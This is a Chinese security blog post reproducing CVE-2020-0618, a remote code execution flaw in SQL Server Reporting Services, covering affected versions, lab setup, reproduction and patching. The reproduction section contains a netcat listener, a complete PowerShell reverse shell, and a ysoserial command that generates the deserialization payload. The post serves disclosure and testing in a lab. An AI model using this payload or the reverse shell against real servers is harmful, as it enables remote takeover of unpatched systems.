前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2020-0618:SQL Server 远程代码执行复现

CVE-2020-0618:SQL Server 远程代码执行复现

作者头像
Timeline Sec
发布2020-04-27 10:18:19
1.8K0
发布2020-04-27 10:18:19
举报
文章被收录于专栏:Timeline Sec

本文作者:daxi0ng(团队核心成员)

本文字数:1072

阅读时长:2~3min

声明:请勿用作违法用途,否则后果自负

0x01 简介

2月12日,微软发布安全更新披露了Microsoft SQL Server Reporting Services 远程代码执行漏洞(CVE-2020-0618)。SQL Server 是Microsoft 开发的一个关系数据库管理系统(RDBMS),是现在世界上广泛使用的数据库之一。

0x02 漏洞概述

获得低权限的攻击者向受影响版本的SQL Server的Reporting Services实例发送精心构造的请求,可利用此漏洞在报表服务器服务帐户的上下文中执行任意代码。

0x03 影响版本

SQL Server 2012 for 32-bit Systems Service Pack 4 (QFE) SQL Server 2012 for x64-based Systems Service Pack 4 (QFE) SQL Server 2014 Service Pack 3 for 32-bit Systems (CU) SQL Server 2014 Service Pack 3 for 32-bit Systems (GDR) SQL Server 2014 Service Pack 3 for x64-based Systems (CU) SQL Server 2014 Service Pack 3 for x64-based Systems (GDR) SQL Server 2016 for x64-based Systems Service Pack 1 SQL Server 2016 for x64-based Systems Service Pack 2 (CU) SQL Server 2016 for x64-based Systems Service Pack 2 (GDR)

0x04 环境搭建

1、安装Windows server 2016 Standard

2、安装Sql Server 2016,其中有几个点需要注意

一路默认安装下来。注意功能选择的时候需要选择"数据库引擎服务"和"Reporting Services"服务

这里用混合模式创建账号 账号sa 密码123qweQWE 便于后面连接报表服务器

又是一路默认,安装完成

3、重点来了!访问 http://localhost/ReportS,创建分页报表,提示需要安装报表服务器

4、安装好报表服务器后,新建一个报表此时就用到了我们前面设置的账号密码 sa/123qweQWE

保存一下,然后点击运行

访问一下漏洞路径,Success!

0x05 漏洞复现

1、使用Netcat监听1888端口,便于后续接受反弹回来的Shell(WIN+Rpowshell)

代码语言:javascript
复制
cd .\Desktop\netcat-1.11_1\.\nc.exe -lvp 1888

2、点击桌面的postman,send

3、此时Shell已经弹回,使用 whoami 命令可以看到Shell的用户是 nt service\reportservice

PS:(此步可省略) 以上是我已经生成了验证POC,想要自己生成POC可以使用powershell打开ysoserial.exe工具生成有效负载,执行完最后一步的时候payload已经存在于剪切板。

代码语言:javascript
复制
$command = '$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",1888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
.\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip

0x06 修复方式

目前微软官方已针对受支持的版本发布了修复该漏洞的安全补丁,请受影响的用户尽快安装补丁进行防护。

官方下载链接:

https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-0618

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-04-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档